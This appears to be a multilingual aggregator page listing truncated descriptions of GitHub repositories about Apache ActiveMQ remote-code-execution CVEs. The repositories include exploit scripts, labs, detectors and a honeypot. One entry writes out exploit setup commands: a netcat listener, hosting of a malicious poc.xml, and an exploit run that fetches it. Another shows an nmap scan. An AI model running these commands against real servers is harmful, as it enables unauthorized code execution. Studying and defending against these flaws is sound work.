CVE-2026-41044

CVE-2026-41044 注意：仅供教育目的使用 从公告到根因分析只需一个下午：AI 如何压缩 N-day 分析时间 一篇简短、诚实的 CVE-2026-41044（Apache ActiveMQ）演练，使用补丁前后的精确代码。 CVE-2026-41044 于 2026 年 4 月 24 日披露。这是 Apache ActiveMQ Classic 中的一个远程代码执行漏洞，由 jsjcw 发现，已在 5.19.6 和 6.2.5 版本中修复。不是我发现的。 我想展示的是，一个从未接触过 ActiveMQ 的人如何在一个下午内为 N-day...

CVE-2026-34197-payload-Apache-ActiveMQ-

ActiveMQ Jolokia RCE 漏洞复现指南 本仓库提供了一个基于 Apache ActiveMQ 暴露的 Jolokia API 接口（/api/jolokia/）的远程代码执行 RCE 漏洞复现环境和利用脚本。 通过调用 addNetworkConnector 操作，强制 ActiveMQ 解析恶意构造的远程 Spring XML 配置文件，从而利用 MethodInvokingFactoryBean 执行系统命令。 📁 包含文件 payload.py : 利用主脚本，发送带有动态 Broker 名称的 HTTP POST 请求。 payload.xml : 恶意的...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ Classic 通过 Jolokia API 实现远程代码执行 TL;DR Apache ActiveMQ Classic 中存在一个远程代码执行 漏洞，攻击者可通过 Jolokia API（/api/jolokia/）调用 addNetworkConnectorString MBean 操作来执行任意代码。攻击者嵌入一个指向远程 Spring XML 文件的恶意 brokerConfig 参数，ActiveMQ 会获取并解析该文件，从而实例化任意 Java 对象并实现代码执行。 在 ActiveMQ 6.0.0 至...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic セキュリティ検出ツール これは、防御および内部ネットワーク調査向けの Apache ActiveMQ Classic 露出面検出ツールであり、CVE-2026-34197 に関連するリスクの評価を支援します。 このプロジェクトには脆弱性の悪用コードは含まれておらず、Jolokia の exec を実行せず、コネクタを作成せず、リモート XML をロードせず、Broker の状態も変更しません。ツールは読み取り専用の HTTP...

CVE-2026-34197

CVE-2026-34197 通过 Jolokia API 实现 Apache ActiveMQ 远程代码执行 概述 • 详情 • 攻击流程 • 快速开始 • ATTACKE...

CVE-2026-34197

CVE-2026-34197 — Apache ActiveMQ RCE 通过 Jolokia API 描述 CVE-2026-34197 是 Apache ActiveMQ Classic 中的一个远程代码执行（RCE）漏洞，允许攻击者通过 Web 控制台中暴露的 Jolokia API 在服务器操作系统上执行任意命令。 该漏洞已存在超过 13 年，源于多个组件之间的交互：Jolokia（HTTP-JMX 桥接）、ActiveMQ 的 MBeans、网络连接器和 VM 传输。 漏洞信息 字段| 详情 ---|--- CVE ID| CVE-2026-34197 类型|...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-466064 免責事項 このリポジトリには CVE-2023-466064 の概念実証コードが含まれており、厳密に教育目的 で提供されています。作者および貢献者は、いかなる違法行為も推奨しません。ここに提示された情報は、学術的、セキュリティ研究、テスト目的、および HackTheBox のマシン Broker の現在の解決のために使用されます。...

CVE-2023-46604

攻撃の技術概要: CVE-2023-46604 このスクリプトは、Apache ActiveMQ の安全でない逆シリアル化の脆弱性 CVE-2023-46604 を悪用して、対象サーバーでリモートコード実行を達成します。 悪用プロセスの説明 脆弱性の対象: この脆弱性は Apache ActiveMQ の OpenWire プロトコルに存在します。 オブジェクトの安全でない逆シリアル化を許可するため、サーバー上で任意のコードを実行するために悪用される可能性があります。 前提条件: ActiveMQ サーバーへのネットワークアクセス。 対象サーバーからアクセス可能な URL...

CVE-2023-46604-LAB

CVE-2023-46604 – Apache ActiveMQ RCE（OpenWire プロトコル） このリポジトリは、Apache ActiveMQ に影響を与える CVE-2023-46604 の脆弱性を理解し、検出するために使用されるラボ環境を文書化したものです。 このプロジェクトの目的： プロトコルレベルでエクスプロイトがどのように動作するかを理解する 悪意のある OpenWire トラフィックをキャプチャする Suricata を使用した検出ルールを構築する 教育および防御的なセキュリティ用途の手順を文書化する ⚠️ 重要 :...

GHSA-WJGM-6HV5-3CVF vulnerabilities

Vulnerabilities for packages: kafbat-ui, strimzi-kafka-operator-fips, celeborn, conductor, zipkin, apicurio-registry, apache-tika-fips, camunda, traccar, s3proxy, infinispan, keycloak-config-cli, opensearch-fips, apache-hop-fips, cruise-control-fips, hono, zookeeper, logstash, kafbat-ui-fips,...

CVE-2026-19032 vulnerabilities

Vulnerabilities for packages: kafbat-ui, strimzi-kafka-operator-fips, celeborn, conductor, zipkin, apicurio-registry, apache-tika-fips, camunda, traccar, s3proxy, infinispan, keycloak-config-cli, opensearch-fips, apache-hop-fips, cruise-control-fips, hono, zookeeper, logstash, kafbat-ui-fips,...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Apache ActiveMQ の認証なしリモートコード実行の Python 実装 セットアップとエクスプロイト nc -lvnp 4444 - リスナーを開始 python3 -m http.server 8080 - ペイロードを含む poc.xml をホストする python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - エクスプロイトを開始...

activemq-ids-ips-lab

IDS/IPSラボ - Apache ActiveMQをRCE攻撃から保護する このプロジェクトは、管理されたラボ環境において、IDSおよびIPSメカニズムがApache ActiveMQの脆弱性CVE-2023-46604の悪用をどのように検出・防止できるかを評価します。 プロジェクト概要 ラボは、攻撃者、ゲートウェイ、被害者のシステムを分離して設計され、現実的な攻防ワークフローをシミュレートしています。プロジェクトには、脆弱性の発見、手動検証、悪用、緩和が含まれます。 私の作業 ラボ環境の構築とテスト GVMとNmapを使用したターゲットのスキャン...

CVE-2023-46604

CVE-2023-46604 Ruben Fobe & Klaas Stessens 著 はじめに 警告 このプロジェクトは教育およびラボ目的のみを意図しています。 所有している環境、またはテストを許可された環境でのみこれらの技術を使用してください。 このラボでは、Kali Linux VM（攻撃者）と Debian 11 サーバー VM（被害者）を使用して、CVE-2023-46604 の悪用をシミュレートします。 このラボは、ホストOSがWindowsの場合にのみ動作します。 -- Linuxを使用している場合、このラボは動作しません！ 前提条件 Oracle VirtualBox...

Exploitation-de-la-vuln-rabilit-CVE-2015-5254-

CVE-2015-5254脆弱性の悪用- CVE-2015-5254脆弱性は、アプリケーション間の通信に広く使用されるオープンソースのメッセージサーバーApache ActiveMQにおけるセキュリティホールです。この脆弱性はActiveMQバージョン5.13.0までに影響し、送信されるJMS ObjectMessage入力データのフィルタリング不足に起因します。 ネットワークスキャン： nmap -p 61616 -Pn -T5 -n -sC -sV 172.17.0.1 ダウンロードしたフォルダからDockerを使ってActiveMQ 2015を起動します：...

CVE-2026-34197

CVE-2026-34197 - Apache ActiveMQ Jolokia リモートコード実行 RCE CVE-2026-34197 は、Apache ActiveMQ Classic に影響を与える高深刻度のリモートコード実行 RCE 脆弱性です。この問題は、/api/jolokia/ エンドポイントを介して管理操作を HTTP で公開する Jolokia JMX-HTTP ブリッジに存在します。 デフォルトの Jolokia アクセスポリシーは、認証されたユーザーが ActiveMQ MBeans...

ActiveMQ-CVE-2023-46604

CVE-2023-46604 ActiveMQ 安全验证器 一个单文件、非破坏性的 Apache ActiveMQ CVE-2023-46604 验证器。它会启动自己的 HTTP 回调服务器，在内存中生成针对目标的 Spring XML，发送精心构造的 OpenWire 数据包，将回调与唯一令牌关联，并写入 CSV/JSON 证据。 该项目专为授权渗透测试和资产清单验证而设计。它刻意不 实现反向 Shell、无限制命令执行、CIDR 扩展、持久化或载荷暂存。 验证器能证明什么 提供两种固定的验证模式： rce 执行一个固定的、只读的身份探测命令，并将其输出返回给内置 HTTP...

CVE-2016-3088

CVE-2016-3088 - Apache ActiveMQ におけるリモートコード実行...

CVE-2026-34197

CVE-2026-34197 ActiveMQ Classic ラボ このリポジトリは、Apache ActiveMQ Classic における CVE-2026-34197 を調査し、脆弱なインスタンスとパッチ適用済みビルドを比較するためのローカルラボを提供します。 リポジトリは以下の 2 つの目的をサポートするように構成されています。 厳密に制御された隔離環境で問題を再現する。 パッチ適用済みの ActiveMQ Classic ビルドで修正動作を検証する。 免責事項 このリポジトリは、法律に基づき、許可された防御的なセキュリティ研究のみ...

honeypot.rs

honeypot.rs CVE-2023-46604（Apache ActiveMQ RCE脆弱性）をスコープとするハニーポットで、侵害指標（IoC）の取得に重点を置いています。このハニーポットは、あらゆる脅威インテリジェンス基盤で使用でき、攻撃者のIPアドレス、ポストエクスプロイテーションサンプル、マルウェアサンプルを取得できます。これらの情報は、将来の攻撃を検出し防止するのに役立ちます。 仕組み 実際の攻撃では、攻撃者はApache ActiveMQサービスに特定のパケットを送信します。このパケットには、クラス...